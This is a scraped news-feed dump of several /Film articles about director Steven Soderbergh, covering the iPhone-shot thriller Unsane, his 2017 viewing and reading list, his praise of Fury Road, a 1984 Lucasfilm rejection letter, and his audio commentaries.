]]> https://briefnews.eu/steven-soderbergh-will-shoot-a-panama-papers-movie-called-the-laundromat-next/feed/ 0 ‘Unsane’ Contest: Win A Poster Signed By Steven Soderbergh https://briefnews.eu/unsane-contest-win-a-poster-signed-by-steven-soderbergh/ https://briefnews.eu/unsane-contest-win-a-poster-signed-by-steven-soderbergh/#respond Mon, 19 Mar 2018 14:55:45 +0000 http://briefnews.eu/unsane-contest-win-a-poster-signed-by-steven-soderbergh/ unsane contest

Steven Soderbergh‘s return from semi-retirement continues full-steam-ahead. Soderbergh’s latest is Unsane, a thriller shot entirely on iPhones. In anticipation of the film, we’re running an Unsane contest, giving you the chance to with an Unsane poster signed by Soderbergh himself. Details below!

After a brief stint away from movies, director Steven Soderbergh is back in full-force. Last year, he released the heist comedy Logan Lucky. This year he has Unsane, a thriller starring Claire Foy, Joshua Leonard, Jay Pharoah, Juno Temple, Aimee Mullins and Amy Irving. Foy plays the wonderfully-named Sawyer Valentini, who, in an effort to avoid a stalker, involuntarily places herself in a mental institution. Getting out of the institution won’t be so easy.

Unsane opens on March 23, 2018 and in anticipation of the release, we’re offering one lucky contest winner an Unsane poster signed by Steven Soderbergh himself. Here it is.

unsane poster

So just imagine that, only much bigger and with Steven Soderbergh’s handwriting scribbled on it somewhere.

To enter, simply head down to the comment section below and tell us your favorite Steven Soderbergh movie. There are many great options to choose from, folks. U.S. residents only, please.  A winner will be selected at random. Good luck!

Unsane Trailer

Sawyer Valentini relocates from Boston to Pennsylvania to escape from the man who’s been stalking her for the last two years. While consulting with a therapist, Valentini unwittingly signs in for a voluntary 24-hour commitment to the Highland Creek Behavioral Center. Her stay at the facility soon gets extended when doctors and nurses begin to question her sanity. Sawyer now believes that one of the staffers is her stalker — and she’ll do whatever it takes to stay alive and fight her way out.

Unsane opens March 23, 2018.

The post ‘Unsane’ Contest: Win A Poster Signed By Steven Soderbergh appeared first on /Film.

]]> https://briefnews.eu/unsane-contest-win-a-poster-signed-by-steven-soderbergh/feed/ 0 Steven Soderbergh Says the Future of Filmmaking is iPhones https://briefnews.eu/steven-soderbergh-says-the-future-of-filmmaking-is-iphones/ https://briefnews.eu/steven-soderbergh-says-the-future-of-filmmaking-is-iphones/#respond Sat, 27 Jan 2018 08:27:32 +0000 http://briefnews.eu/steven-soderbergh-says-the-future-of-filmmaking-is-iphones/ Steven Soderbergh iphones

Steven Soderbergh is a big fan of making dramatic statements on the state of cinema. “I just don’t think movies matter as much any more,” the Ocean’s Eleven director said in 2013 when he announced his retirement from feature filmmaking. After that, the director did retreat into television, creating prestigious acclaimed series like The Knick and The Girlfriend Experience.

But Soderbergh briefly put his retirement on hold to direct the invigorating, severely underrated “hillbilly heist” film Logan Lucky, distributed independently through his own company last summer. And now, he inches his way further back into the feature film world with his newest experiment: Unsane, a thriller shot entirely on an iPhone. Soderbergh is still renouncing traditional studio filmmaking, but he says smartphones will be the alternative that will soon sweep the movie industry.

Soderbergh first broke onto the scene with the Sundance favorite sex, lies and videotape, a groundbreaking film that helped revolutionize the independent filmmaking movement. So it’s no surprise that the director is always looking to the next step that will help push the limits of moviemaking. He’s not the first director to make waves by shooting a film entirely on an iPhone — Sean Baker’s electric 2015 film Tangerine proved it could be done and done well — but Soderbergh is certainly helping to bring more credibility to the technology with Unsane, a mysterious thriller starring The Crown breakout star Claire Foy. At the film’s premiere at the Berline International Film Festival, Soderbergh touted consumer-grade technology as the future of filmmaking, Indiewire reports:

 “I think [shooting on iPhones] is the future. Anybody going to see this movie who has no idea of the backstory to the production will have no idea this was shot on the phone. That’s not part of the conceit.”

Somewhere, Christopher Nolan is weeping.

There have been only a handful feature film projects that have successfully used iPhone technology on a cinematic scope, though there’s no denying that, with the right filmmaker, the smartphone could churn out a beautiful film. “People forget, this is a 4k capture,” said Soderbergh. When asked if he planned to exclusively shoot with iPhones from then on, Soderbergh responded with conviction:

“I’d have to have a pretty good reason not to be thinking about that first… There’s a philosophical obstacle a lot of people have about the size of the capture device. I don’t have that problem. I look at this as potentially one of the most liberating experiences that I’ve ever had as a filmmaker, and that I continue having. The gets that I felt moment to moment were so significant that this is, to me, a new chapter.”

I poke fun at Soderbergh’s statements, but the director does make a point about the movie industry becoming a less welcoming space for experimentation and mid-budget filmmaking. The studio system rewards high and low-budget films, with little space for ambitious mid-tier directors. There’s a reason many directors are finding their way to TV. But Soderbergh seems to have come up with a solution to his conflict with the Hollywood studio system. He independently distributed his last film Logan Lucky through Fingerprint Releasing, and plans to use a similar, tweaked approach with Unsane.

“I’m playing a long game here,” he said. “I’m trying to develop an approach to putting out a movie in wide release that makes some kind of economic sense for the filmmakers and the people that have a participation in the movie. It’s going to take a while.”

Unsane is scheduled for release on March 23, 2018.

The post Steven Soderbergh Says the Future of Filmmaking is iPhones appeared first on /Film.

]]> https://briefnews.eu/steven-soderbergh-says-the-future-of-filmmaking-is-iphones/feed/ 0 Everything Steven Soderbergh Watched and Read in 2017, Including Nine Viewings of ‘Ocean’s 8’ https://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/ https://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/#respond Sat, 06 Jan 2018 13:06:46 +0000 http://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/ Steven Soderbergh's 2017 List

At the beginning of every year, director Steven Soderbergh releases a list of everything he watched and read the previous year. As far as lists go, Soderbergh’s are always fascinating, particularly because he tends to rewatch specific titles over and over again. His new list for 2017 is here, and reveals that so far he’s watched Ocean’s 8, the reboot of his Ocean’s 11 franchise, nine times already. Check out Steven Soderbergh’s 2017 list below.

If you’ve ever wondered about the movie-watching and reading habits of filmmakers, look no further than Steven Soderbergh’s annual list. Soderbergh, the filmmaker behind Traffic, Haywire, Logan Lucky and the Ocean’s 11 films, has an annual tradition of uploading a list to his website that reflects everything he watched or read through the previous year.

Soderbergh’s latest list, reflecting what he read and watched in 2017, is a doozy. There’s a lot to unpack here: the filmmaker took in the gonzo 2017 film A Cure For Wellness in June; on Christmas day, he treated himself to a triple feature of Memento, Lock, Stock and Two Smoking Barrels and Vertigo; and on June 26, he rewatched the phenomenal eighth episode of the new Twin Peaks, which lead him to add the only annotation on the list: “(episode 8 again—wow!)”.

The list also offers some insight into films Soderbergh is associated with: on June 1, he lists that he’s begun production on his new film Unsane, and then proceeds to list Unsane five more times – likely indicating he was rewatching the footage he shot on those particular days. Also worth noting: Soderbergh lists the upcoming Ocean’s 8 – a reboot/sequel to his own Ocean’s 11 franchise – a total of nine times. Check out the full list below.

All caps, bold: MOVIE
All caps, bold, asterisk: SHORT*
All caps: TV SERIES
Italics: Book
Quotation marks: “Play”
Italics, quotation marks: “Short Story”

01/01 PASSENGERS, THE BIRTHDAY PARTY (’68), KEEPING UP WITH THE JONESES

01/02 The Mistletoe Murders and Other Stories, P.D. James

01/03 THE THICK OF IT (5)

01/04 CARNAL KNOWLEDGE

01/05 THE THICK OF IT (2)

01/13 DARLING

01/14 DOG DAY AFTERNOON

01/15 THE TRIAL OF JOAN OF ARC

01/18 THE HANDMAIDEN

01/25 VANITY FAIR CONFIDENTIAL

01/27 THE RUSSIA HOUSE, VICTIM

01/28 MOUCHETTE, WITHNAIL AND I, DATELINE: SATURDAY NIGHT MYSTERY, 48 HRS

01/29 Bresson on Bresson: Interviews 1943-1983, L’ARGENT

01/30 The Power Broker: Robert Moses and the Fall of New York, Robert A. Caro, SISTERS (’73)

02/01 THE BEST OF AUTOPSY

02/02 I AM NOT YOUR NEGRO

02/03 BECOMING WARREN BUFFET

02/04 SPLIT, 48 HRS

02/05 THE LONG DAY CLOSES, THE POWER OF NIGHTMARES (Parts 1, 2 & 3), SUPERBOWL LI

02/06 VANITY FAIR CONFIDENTIAL

02/07 THE TRAP (Part 1)

02/08 FIVE EASY PIECES

02/10 BILLIONS, DATELINE

02/11 THE TRAP (Parts 2 & 3), THE IMMORTAL STORY, KING & COUNTRY, FIFTY SHADES DARKER, DATELINE: SATURDAY NIGHT MYSTERY

02/12 “Jitney”, August Wilson, GIRLS

02/13 VANITY FAIR CONFIDENTIAL

02/14 THE TRAIN (’64), THE THICK OF IT

02/15 THE THICK OF IT

02/16 LIFE OF RILEY, THE THICK OF IT (2)

02/17 HYPERNATIONALIZATION

02/18 MON ONCLE D’AMERIQUE, SEVEN DAYS IN MAY (’64)

02/19 48 HRS, GIRLS, MURIEL, OR THE TIME OF RETURN

02/20 VANITY FAIR CONFIDENTIAL, THE THICK OF IT

02/21 INTERIORS, THE TEXAS CHAIN SAW MASSACRE (’74)

02/22 NIGHT AND FOG*, LE CHANT DU STYRENE*, THE HILLS HAVE EYES (’77)

02/24 DATELINE

02/25 DICKS*, I DON’T FEEL AT HOME IN THIS WORLD ANYMORE, 48 HRS

02/26 GET OUT, THE 89th ACADEMY AWARDS

02/27 VANITY FAIR CONFIDENTIAL, BILLIONS

03/04 LOGAN LUCKY

03/09 Affections, Roberto Hasbun

03/10 Outline, Rachel Cusk

03/11 GIRLS, DATELINE, THE LOVE WITCH, LOGAN LUCKY

03/12 LOGAN LUCKY, BILLIONS (2), GIRLS

03/14 THE AMERICANS (2)

03/15 LOGAN LUCKY

03/18 GOLOVKIN VS JACOBS

03/19 “The Present”, Anton Chekov/Andrew Upton, GIRLS, BILLIONS

03/20 THE CROWN (2)

03/21 THE AMERICANS

03/22 DAVE CHAPPELLE: THE AGE OF SPIN

03/26 GIRLS, BILLIONS

03/27 RAIDERS OF THE LOST ARK (B&W VERSION)

03/31 DATELINE

04/01 A Brief History of Seven Killings, Marlon James

04/02 GIRLS

04/04 LOUIS C.K. 2017, THE AMERCIANS (2)

04/05 MIKEY AND NICKY

04/06 PREVENGE, THE RULING CLASS

04/07 TRAINSPOTTING, THE SOCIAL NETWORK

04/08 THE SILENT PARTNER, DATELINE

04/10 BILLIONS, BETTER CALL SAUL

04/11 THE AMERICANS, REPULSION

04/13 RYAN’S DAUGHTER

04/14 DATELINE

04/15 On Tyranny, Timothy Snyder, Whiplash: How To Survive Our Faster Future, Joi Ito and Jeff Howe, OCEAN’S EIGHT, SILICON VALLEY (2), 48 HRS MYSTERY

04/16 GIRLS, VEEP

04/17 THE AMERICANS, KILLING RICHARD GLOSSIP

04/18 HIGH AND LOW, BILLIONS, A.K.

04/20 ONE DAY IN THE LIFE OF ANDRE ARSENEVICH, LOGAN LUCKY

04/21 I KNOW WHERE I’M GOING, TO BE OR NOT TO BE (’42)

04/22 …BUT FILM IS MY MISTRESS, KILLING RICHARD GLOSSIP (3), 48 HRS MYSTERY

04/25 BETTER CALL SAUL, THE AMERICANS, SILICON VALLEY

04/26 LOGAN LUCKY, BILLIONS, CHINATOWN

04/27 THE SHINING

04/29 STANLEY KUBRICK INTERVIEW WITH JEREMY BERNSTEIN NOVEMBER 1965 (AUDIO), MAKING “THE SHINING”, JOSHUA VS KLITSCHKO, THE DISCREET CHARM OF THE BOURGOUSIE, 48 HRS MYSTERY

04/30 OCEAN’S EIGHT, SILICON VALLEY, VEEP, BILLIONS

05/01 E! NEWS LIVE AT THE RED CARPET MET GALA, BETTER CALL SAUL

05/02 THE AMERICANS

05/05 WHITE HORSE (6), SWIMMING TO CAMBODIA

05/06 DON’T LOOK NOW, 48 HRS MYSTERY

05/07 All Kinds of Love, Carl Reiner

05/08 SILICON VALLEY, BILLIONS, BETTER CALL SAUL

05/09 THE AMERICANS

05/11 BASKETS (2), THE SAND PEBBLES

05/12 THE SUGARLAND EXPRESS

05/13 ALL THE PRESIDENT’S MEN

05/14 Homesick For Another World, Otessa Moshfegh, SILICON VALLEY

05/15 BETTER CALL SAUL

05/16 THE AMERICANS

05/17 I SPIT ON YOUR GRAVE (’78), 1941

05/18 MOMMY DEAD AND DEAREST

05/19 THE KEEPERS (2)

05/20 THE KEEPERS (5)

05/21 ALIEN: COVENANT, TWIN PEAKS (2), SILICON VALLEY

05/22 Moonglow, Michael Chabon, BETTER CALL SAUL

05/23 THE AMERICANS, SHEITAN

05/26 SUNSET BOULEVARD

05/29 Men Without Women, Haruki Murkami, TWIN PEAKS (2), SILICON VALLEY

05/30 THE AMERICANS

05/31 THE BIRDS

06/01 Begin principal photography on UNSANE

06/03 A CURE FOR WELLNESS, OCEAN’S EIGHT

06/04 SILICON VALLEY, TWIN PEAKS

06/10 BETTER CALL SAUL

06/11 TWIN PEAKS, SILICON VALLEY

06/15 UNSANE

06/16 UNSANE

06/17 RISK, EYES OF LAURA MARS

06/18 SILICON VALLEY, VEEP, TWIN PEAKS

06/10 ATLANTA, BARRY LYNDON

06/20 Masters of Atlantis, Charles Portis, ROOM 104, JAWS

06/21 SEXY BEAST, BETTER CALL SAUL

06/22 THE THIRD MAN, UNSANE, ANATOMY OF A MURDER

06/23 Loving, Henry Green, GATTACA

06/24 How We Are Hungry, Dave Eggers, South and West, Joan Didion, DATELINE, 48 HRS

06/25 TWIN PEAKS, SILICON VALLEY, VEEP

06/26 TWIN PEAKS (episode 8 again—wow!)

06/27 THE EXORCIST (original theatrical release version)

06/28 T2 TRAINSPOTTING

07/07 OCEAN’S EIGHT, DATELINE

07/08 Home and Away: Writing the Beautiful Game, Karl Ove Gnausgaard and Fredrik Ekelund, WALTZ WITH BASHIR

07/09 Who Is Rich?, Mathhew Klam, ARCHER, BOJACK HORSEMAN

07/10 DR. STRANGELOVE, OR: HOW I LEARNED TO STOP WORRYING AND LOVE THE BOMB, TWIN PEAKS

07/11 A HARD DAY’S NIGHT, HELP!

07/12 SONG TO SONG

07/14 ROAR: THE MOST DANGEROUS MOVIE EVER MADE, DATELINE

07/15 LURED, ALL THE PRESIDEN’TS MEN

01/17 TWIN PEAKS

07/21 BULLITT, DATELINE

07/22 THE LOVED ONE, The Dinner Party, Joshua Ferris

07/24 TWIN PEAKS

07/25 VICE: A WORLD IN DISARRAY

07/26 L’ECLISSE, THE LAMP*

07/29 O.G., Astrophysics for People in a Hurry, Neil deGrasse Tyson, W1A (2)

07/31 Golden Hill, Francis Spufford, TWIN PEAKS, UN FLIC

08/01 THEY LIVE BY NIGHT

08/03 IN ORDER OF DISAPPEARANCE

08/04 UNSANE

08/05 ICARUS

08/06 DUNKIRK

08/07 PERFECT (’18)

08/08 THE GRADUATE, THE KING (’18)

08/11 FUCKKKYOUUU*

08/12 GLOW (2), W1A, 48 HRS MYSTERY, THE KILLING (’56)

08/13 GOOD MORNING*

08/15 I LOVE YOU, DADDY

08/16 TWIN PEAKS

08/17 TWIN PEAKS

08/19 The Romanovs, Simon Sebag Montefiore

08/23 The Thirty-Six Dramatic Situations, Mike Figgis

08/24 Conversations With Friends, Sally Rooney

08/26 BEATRIZ AT DINNER, WHITNEY: CAN I BE ME, MAYWEATHER VS MCGREGOR, 1941

08/28 Richard Ayoade Presents The Grip of Film by Gordy Lasure

08/29 Runnin’ With The Devil, Noel E. Monk and Joe Leydon, OCEAN’S EIGHT

08/30 mother!

09/02 TWIN PEAKS, The GFE Novelization, Allison Leotta, W1A (2), DELIVERANCE

09/04 Evolving Ourselves, Juan Enriquez and Steven Gullans, TWIN PEAKS

09/05 ALL THE PRESIDENT’S MEN REVISITED

09/07 THE THICK OF IT

09/08 THE THICK OF IT

09/10 THE THICK OF IT

09/11 “By The Way, Meet Vera Stark”, Lynn Nottage, THE THICK OF IT (2)

09/12 APPLE SPECIAL EVENT (STREAMED), THE THICK OF IT (2), UNSANE, SE7EN

09/15 DATELINE

09/16 TWIN PEAKS, GOLOVKIN VS ALVAREZ, Ties, Domenico Starnone

09/17 TWIN PEAKS, THE 69TH EMMY AWARDS

09/18 HOUSE OF Z

09/19 THE VIETNAM WAR

09/21 Fantasyland, Kurt Andersen

09/22 TRANSPARENT (2), DATELINE

09/23 TRANSPARENT (6), THE VIETNAM WAR

09/24 THE VIETNAM WAR (2)

09/26 The Misfortune of Marion Palm, Emily Culliton

09/29 Six Four, Hideo Yokoyama

09/30 Transit, Rachel Cusk, THE VIETNAM WAR (2)

10/01 Aftermath, Rachel Cusk, CURB YOUR ENHUSIASM

10/04 LONG SHOT

10/07 SPIELBERG

10/08 CURB YOUR ENTHUSIASM

10/13 W1A (2), DATELINE, We Were Eight Years in Power, Ta-Nehisi Coates

10/15 W1A (2), CURB YOUR ENTHUSIASM, DAVE CHAPPELLE: DEEP IN THE HEART OF TEXAS

10/17 W1A, OCEAN’S EIGHT

10/18 OCEAN’S EIGHT

10/19 OCEAN’S EIGHT

10/20 DATELINE

10/21 48 HRS, MAD MAX: FURY ROAD, HIS GIRL FRIDAY

10/22 IZUMI, CHINATOWN, CURB YOUR ENTHUSIASM

10/23 W1A, MINDHUNTER (2)

10/25 Secrecy World, Jake Bernstein

10/26 “M. Butterfly”, David Henry Hwang

10/27 TRACEY ULLMAN’S SHOW (2)

10/29 THE DUELLISTS, TOKYO DRIFTER, IKIRU, VENGEANCE IS MINE, CURB YOUR ENTHUSIASM

11/03 Kill All Normies, Angela Nagle, THE TALE OF ZATOICHI, WOMAN IN THE DUNES, OCEAN’S EIGHT

11/04 DATELINE, JOAN DIDION: THE CENTER WILL NOT HOLD, MINDHUNTER (2)

11/09 Classic Wiley: A Lifetime of Punches, Players, Punks, & Prophets, Ralph Wiley, BUTCH CASSIDY AND THE SUNDANCE KID

11/10 THE VIETNAM WAR (2)

11/11 AIRPORT 1975, THE VIETNAM WAR, TRACEY ULLMAN’S SH0W, DATELINE, THELMA, 48 HRS

11/12 DATELINE, DATELINE ON ID, MIRAGE, AIRPORT ’77, CURB YOUR ENTHUSIASM

11/13 SLAUGHTER-HOUSE FIVE

11/14 MINDHUNTER (2)

11/15 THE CONCORDE: AIRPORT ‘79

11/18 “The Play That Goes Wrong,” Henry Lewis, Jonathan Sayer and Henry Shields, I, TONYA, CATCH-22

11/19 CURB YOUR ENTHUSIASM, TRACEY ULLMAN’S SHOW

11/21 BATTLE OF THE SEXES, MINDHUNTER, 2001: A SPACE ODYSSEY

11/22 THE SQUARE (’17)

11/23 Subliminal: How Your Unconscious Mind Rules Your Behavior, Leonard Mlodinow, GOODTIME

11/24 Fresh Complaint, Jeffrey Eugenides, 20/20, DATELINE, 48 HRS

11/25 TRACEY ULLMAN’S SHOW, SOAPDISH, 48 HRS

11/26 MINDHUNTER (2)

11/29 A Brief History of Everyone Who Ever Lived, Adam Rutherford, LOS OLVIDADOS, CURB YOUR ENTHUSIASM

12/02 SMILF, Beasts: What Animals Can Teach Us About the Origins of Good and Evil, Jeffrey Moussaieff Masson, VOYEUR, DATELINE

12/03 SMILF (2), CURB YOUR ENTHUSIASM, ZODIAC

12/04 SMILF (2), DOWNSIZING

12/06 ROMAN J. ISRAEL, ESQ.

12/07 JOHN CARPENTER’S THE THING

12/09 TOKYO OLYMPIAD, OLYMPIA PART ONE: FESTIVAL OF NATIONS, OLYMPIA PART TWO: FESTIVAL OF BEAUTY

12/10 The Nine Emotional Lives of Cats, Jeffrey Moussaieff Masson, SMILF

12/12 THE FLORIDA PROJECT, “Cat Person”, Kristen Roupenian

12/13 CALL ME BY YOUR NAME

12/14 REAR WINDOW

12/15 WORMWOOD (6)

12/16 If It’s Not Funny It’s Art, Demetri Martin, “The Lazy River”, Zadie Smith, A Legacy of Spies, John le Carre, THE SHAPE OF WATER

12/17 Sleep No More, P.D. JAMES, PANIC ROOM, SMILF, THE PIRATES OF SOMALIA

12/18 BEATS, LADY BIRD

12/19 PHANTOM THREAD, MODERN ROMANCE

12/20 STAR WARS: THE LAST JEDI

12/21 HAPPY END

12/22 GOD IS THE BIGGER ELVIS, DATELINE, BEYOND ZERO: 1914-1918

12/23 HEAT, An Unsuitable Job for A Woman, P. D. James, THE DAY OF THE JACKAL, ALL THE PRESIDENT’S MEN

12/24 MISSION: IMPOSSIBLE, THE THIRD MAN

12/25 The Skull Beneath the Skin, P.D. James, MEMENTO, LOCK, STOCK AND TWO SMOKING BARRELS, VERTIGO

12/27 Death of a Murderer, Rupert Thompson, IQ, Joe Ide

12/28 THE INSULT

12/29 The Revolt of the Black Athlete, Harry Edwards, BLACK MIRROR (4)

12/30 BLACK MIRROR (2)

12/31 DAVE CHAPPELLE: EQUANIMITY, THE PARALLAX VIEW

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]]> https://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/feed/ 0 Steven Soderbergh Shot a Horror Movie on an iPhone Due Out Next Year https://briefnews.eu/steven-soderbergh-shot-a-horror-movie-on-an-iphone-due-out-next-year/ https://briefnews.eu/steven-soderbergh-shot-a-horror-movie-on-an-iphone-due-out-next-year/#respond Thu, 16 Nov 2017 05:04:00 +0000 http://briefnews.eu/steven-soderbergh-shot-a-horror-movie-on-an-iphone-due-out-next-year/ Insert joke here about Steven Soderbergh not staying retired for long. His next film is a horror movie starring Claire Foy, Juno Temple, and Jay Pharoah, set for a March 23, 2018 release. Oh, and Unsane was shot entirely on an iPhone.

According to Pharoah, the shoot for the “reality-horror type” movie, which he compared to the Jordan Peele-directed Get Out, lasted about a week. Some of the editing was done on set. Jonathan Bernstein and James Greer wrote the film, “which centers on a young woman (Foy) who is involuntarily committed to a mental institution where she is confronted by her greatest fear — but is it real or is it a product of her delusion?”

Soderbergh is no stranger to unusual formats. His HBO project Mosaic, starring Sharon Stone, is an interactive series released in two parts: an app that is available now or you can wait until January 22, 2018 to watch it on the cable network. Take a peek, below.

                

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]]> https://briefnews.eu/steven-soderbergh-shot-a-horror-movie-on-an-iphone-due-out-next-year/feed/ 0 Steven Soderbergh is Amazed ‘Mad Max: Fury Road’ Didn’t Kill Hundreds of People https://briefnews.eu/steven-soderbergh-is-amazed-mad-max-fury-road-didnt-kill-hundreds-of-people/ https://briefnews.eu/steven-soderbergh-is-amazed-mad-max-fury-road-didnt-kill-hundreds-of-people/#respond Sat, 11 Nov 2017 13:14:48 +0000 http://briefnews.eu/steven-soderbergh-is-amazed-mad-max-fury-road-didnt-kill-hundreds-of-people/ Steven Soderbergh Fury Road

Steven Soderbergh has always been a filmmaker very open to praising fellow artists, and in a recent interview the Logan Lucky director sang the praises of George Miller‘s Mad Max: Fury Road. In a bit of effusive praise for Miller and his directorial skills, Soderbergh commented on how incredibly well-staged the action set pieces in the recent Mad Max sequel were, and how they left him awestruck. Read the Steven Soderbergh Fury Road thoughts below.

It feels weird to refer to a film that only came out 2 years ago as a “masterpiece,” but that truly seems like the correct classification for George Miller’s Mad Max: Fury Road. With his action-packed, high-octane cinematic spectacle, Miller put all of his contemporaries to shame, staging a movie overflowing with show-stopping moments.

And director Steven Soderbergh agrees. In a candid new interview with The Hollywood Reporter, Soderbergh, who recently released Logan Lucky and has the experimental series Mosaic on the horizon, couldn’t say enough good things about Miller’s 2015 film. “I guarantee that the handful of people who are even in range of that, when they saw Fury Road, had blood squirting out of their eyes,” Soderbergh says. “The thing with George Miller, it’s not just that, he does everything really well.”

When asked if he storyboards for his films, Soderbergh replied in the negative, saying “The ability to stage well is a skill and a talent that I value above almost everything else.” He then went on to praise Fury Road:

“I just watched Mad Max: Fury Road again last week, and I tell you I couldn’t direct 30 seconds of that. I’d put a gun in my mouth. I don’t understand how [George Miller] does that, I really don’t, and it’s my job to understand it. I don’t understand two things: I don’t understand how they’re not still shooting that film and I don’t understand how hundreds of people aren’t dead.”

The Oceans 11 filmmaker goes on to add, “We are talking about the ability in three dimensions to break a sequence into a series of shots in which no matter how fast you’re cutting you know where you are geographically. And each one is a real shot where a lot of things had to go right.” The filmmaker is of course referring to the multiple jaw-dropping action scenes on display in Fury Road, the majority of which were filmed in practical ways, with real people and vehicles, while most modern day movies of this kind tend to lean heavily on CGI. Soderbergh shared similar thoughts on Miller on his Twitter account back in 2015:

Soderbergh is one of the most interesting filmmakers in the biz, frequently sharing interesting, insightful thoughts on filmmaking as a whole, often on his own website. I strongly urge you to watch this informative talk he gave on the state of modern cinema in general. The talk itself is four years old, but everything he says there still holds true today.

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]]> https://briefnews.eu/steven-soderbergh-is-amazed-mad-max-fury-road-didnt-kill-hundreds-of-people/feed/ 0 Steven Soderbergh on Virtual Reality, iPhone Filmmaking, and Harvey Weinstein https://briefnews.eu/steven-soderbergh-on-virtual-reality-iphone-filmmaking-and-harvey-weinstein/ https://briefnews.eu/steven-soderbergh-on-virtual-reality-iphone-filmmaking-and-harvey-weinstein/#respond Fri, 10 Nov 2017 03:39:16 +0000 http://briefnews.eu/steven-soderbergh-on-virtual-reality-iphone-filmmaking-and-harvey-weinstein/ The filmmaker has a new project out, but it’s far from the only thing on his mind right now.


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]]> https://briefnews.eu/steven-soderbergh-on-virtual-reality-iphone-filmmaking-and-harvey-weinstein/feed/ 0 Steven Soderbergh Shares a 1984 Rejection Letter From Lucasfilm https://briefnews.eu/steven-soderbergh-shares-a-1984-rejection-letter-from-lucasfilm/ https://briefnews.eu/steven-soderbergh-shares-a-1984-rejection-letter-from-lucasfilm/#respond Thu, 19 Oct 2017 10:11:07 +0000 http://briefnews.eu/steven-soderbergh-shares-a-1984-rejection-letter-from-lucasfilm/ steven soderbergh rejection

If you’re struggling with job rejection after job rejection in your 20s, don’t worry. Rome wasn’t built in a day, nor was Steven Soderbergh an indie darling director immediately after he joined the film industry. It took work, and rejection by one of the top movie studios of the day.

In April 1984, Soderbergh was an aspiring 21-year-old filmmaker scraping by as a game show scorer and a freelance film editor. But in an effort to break into Hollywood, he decided to send a demo reel of short films shot on Super 8mm to Lucasfilm. They rejected him. And Soderbergh still has the letter.

Soderbergh, the director of Ocean’s Eleven, Logan Lucky, and sex, lies, and videotape, doesn’t seem like the kind of filmmaker who would gravitate toward the studio behind Star Wars, but just like every 20-something in the film business, he was likely a huge nerd for the sci-fi series.

So Soderbergh sent his demo reel of films that he had worked on since high school to Lucasfilm. But shortly after, he received a rejection letter with his tapes returned to him. Soderbergh posted a photo of the rejection letter he received in 1984 on his secret Twitter account (if you’re wondering why the avatar is of Soderbergh in a cowboy hat and why there’s no check mark), along with a caption, “It just made me STRONGER.”

The letter reads:

“Because of the increasing number of stories and ideas received each day, it has become impossible for our small staff to review each idea on its own merit. Accordingly, Lucasfilm has reluctantly adopted a policy of returning all materials to the sender without examination. Please know our returning your tape is in no way a reflection upon its merits.”

Soderbergh didn’t take long to bemoan the rejection. A year after he received the letter, he got his real big break directing the concert film 9012Live: The Solos, and four years later, he made a splash at the Cannes Film Festival with sex, lies, and videotape. Soderbergh went on to win the Palme D’Or and an Oscar nomination for the visionary indie film, and the rest his history. Soderbergh is now an Oscar-winning director (for Traffic), and he got his Star Wars connection after all: The Force Awakens‘ Adam Driver starred in his recent return to feature filmmaking, Logan Lucky. And if you count co-star Daniel Craig’s Stormtrooper cameo, that makes two Star Wars connections.

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]]> https://briefnews.eu/steven-soderbergh-shares-a-1984-rejection-letter-from-lucasfilm/feed/ 0 Four Great Steven Soderbergh Audio Commentaries Tracks https://briefnews.eu/four-great-steven-soderbergh-audio-commentaries-tracks/ https://briefnews.eu/four-great-steven-soderbergh-audio-commentaries-tracks/#respond Tue, 22 Aug 2017 08:35:12 +0000 http://briefnews.eu/four-great-steven-soderbergh-audio-commentaries-tracks/ Steven Soderbergh commentaries

If you want to have a great weekend, listening to a bunch of Steven Soderbergh commentaries isn’t a wrong way to go. His tracks are as varied and as entertaining as his movies. While some filmmakers try to retain some mystery about their process or films, Soderbergh goes in the opposite direction. He is an open book.

Soderbergh has recorded so many great commentary tracks throughout his career and I’ve maybe listened to a third of them. My hope is to have heard all of them by some point – tou can learn more than a thing or two listening to him talk over his movies. I’d recommend all the Steven Soderbergh commentary tracks I’ve heard, but here’s four that might not be a bad place to start.

the limey

The Limey (Featuring Steven Soderbergh and Screenwriter Lem Dobbs)

Why Listen: This is one commentary I’ve heard about many times, but I only listened to it recently. It’s unlike most commentary tracks. While creative differences are rarely talked about in these discussions, much of this track is dedicated to disagreements over the film. Dobbs takes issue with more than a few of the departures Soderbergh made from his script. After the screenwriter mentions “the motherfucker in Variety” more than once, he concedes if he was a disinterested, objective viewer, he’d probably like the movie more – which Soderbergh believes is the more important reaction. The commentary is not all about the creative disagreements, it’s just what stands out the most.

What’s Said: Long before Soderbergh made The Limey, he stopped chasing perfection:

I’ve gotten less and less interested in perfection or the idea of polishing things. As I make each film, I become more interested in mistakes, or at least imperfections I think are more lifelike. I’ve stopped rehearsing scenes as much, so that even the operators, whether myself or another operator, isn’t exactly sure what’s going on. I rarely give actors marks anymore. We’ll do general markings in the room, but I won’t tell actors they have to hit anything precisely. We’ll just follow them.

A Day on the Job: Soderbergh sometimes gives actors a lot of freedom. Peter Fonda‘s character’s story about hitting a deer was a true story from the actor’s book. Soderbergh just told him to tell it on-camera before a take. The director wants to give his actors flexibility, which is why he’s not precious about marks:

This scene is a good example of what I was talking about, in terms of giving Peter and Barry [Newman] total freedom. I started rehearsing with them, saying, “You can go anywhere in the room and do anything.” As we rehearsed the scene, they started to fall in this pattern, where Peter would sit at a certain point and standup again. I started to see what he wanted to do, instinctually. Again, the assistant cameraman would go over and put marks on the floor, but we would never say to Peter, “Please go here, please go there.” I would just run again and again the whole scene, from beginning to finish, take after take of shifting the focal length of the lenses, so I’d have some options. You’ll notice, the scene is shot all from one side of the room, and this is just to give them maximum flexibility in the room.

Trivia: Point Blank – for which Soderbergh recorded a commentary – was never discussed as a reference. The Shootist, however, was a reference point.

Ocean's 12

Ocean’s 12 (Steven Soderbergh and Screenwriter George Nolfi)

